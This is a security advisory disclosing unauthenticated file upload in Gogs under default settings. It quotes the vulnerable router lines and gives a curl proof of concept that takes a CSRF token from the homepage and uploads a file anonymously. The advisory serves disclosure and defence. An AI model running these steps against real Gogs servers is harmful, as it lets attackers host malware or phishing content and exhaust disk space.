GHSA-fc3h-92p8-h36f

Security Advisory:Unauthenticated File Upload in Gogs Vulnerability Type: Unauthenticated File Upload Date: Aug 5, 2025 Discoverer: OpenAI Security Research ## Summary Gogs exposes unauthenticated file upload endpoints by default. When the global RequireSigninView setting is disabled (default), any remote user can upload arbitrary files to the server via /releases/attachments and /issues/attachments. This enables the instance to be abused as a public file host, potentially leading to disk exhaustion, content hosting, or delivery of malware. CSRF tokens do not mitigate this attack due to same-origin cookie issuance. ## Affected Versions - Software: [Gogs](https://github.com/gogs/gogs/tree/main) - Confirmed Version(s): 28f83626d4ed0aa7b89493be2ea8b79ca038331e - Likely Affected: All versions since 2020-04-05 with unauthenticated attachments endpoints - Introduced Commit: 07818d5fa ## Vulnerability Details The web.go router exposes the following endpoints under the ignSignIn route group: ### Vulnerable Code Snippet ``` m.Post("/issues/attachments", repo.UploadIssueAttachment) m.Post("/releases/attachments", repo.UploadReleaseAttachment) ``` These endpoints are accessible by unauthenticated users if the configuration variable RequireSigninView is false (default). This allows arbitrary file uploads to data/attachments, returning a UUID in response. While CSRF protection is enabled, attackers can obtain a valid token anonymously from the site and use it in the upload request without authentication. ## Description Anonymous file upload using only default configuration and a CSRF token obtained from the homepage. ## POC ``` # Run Gogs docker docker start gogs # Software will be run on http://localhost:10880/. Finish the setup with local Sqlite database # Get CSRF cookie into a jar curl -sS -c cookies.txt http://localhost:10880/ -o /dev/null # Extract the _csrf value from the jar CSRF="$(awk '$6=="_csrf"{print $7}' cookies.txt | tail -n1)" # Upload the file, sending cookie jar + header curl -sS \ -b cookies.txt -c cookies.txt \ -H "X-CSRF-Token: $CSRF" \ -H "Referer: http://localhost:10880/" \ -F "[email protected]" \ http://localhost:10880/issues/attachments => {"uuid":"<UUID>"} ``` The attachment will be available at: http://localhost:10880/attachments/<uuid> ## Impact **Unrestricted File Upload:** Attackers can store arbitrary content on the server. **Denial-of-Service:** Repeated uploads can exhaust disk space. **Malware Hosting:** Gogs may inadvertently serve attacker-hosted payloads under its domain. ## Realistic Exploitation Scenarios - Spammers or malicious actors use the Gogs instance to host phishing payloads or malware. - Attackers fill up disk with repeated uploads. - Attackers use hosted Gogs instances as public file dumps (e.g., for P2P, exfiltration) ## Potential Impact This unauthenticated upload vector effectively turns any Gogs instance into a file hosting platform open to the public. This is especially dangerous for production or Internet-exposed installations. The combination of no login requirement, wildcard MIME support, and unrestricted access to attachments enables both resource abuse and potential malware distribution. ## Timeline - August 2025: Discovered via GPT5 - August 2025: Reproduced and confirmed via PoC and sanitizer - Aug 6, 2025 - Sent to Gogs via https://github.com/gogs/gogs/security/advisories/new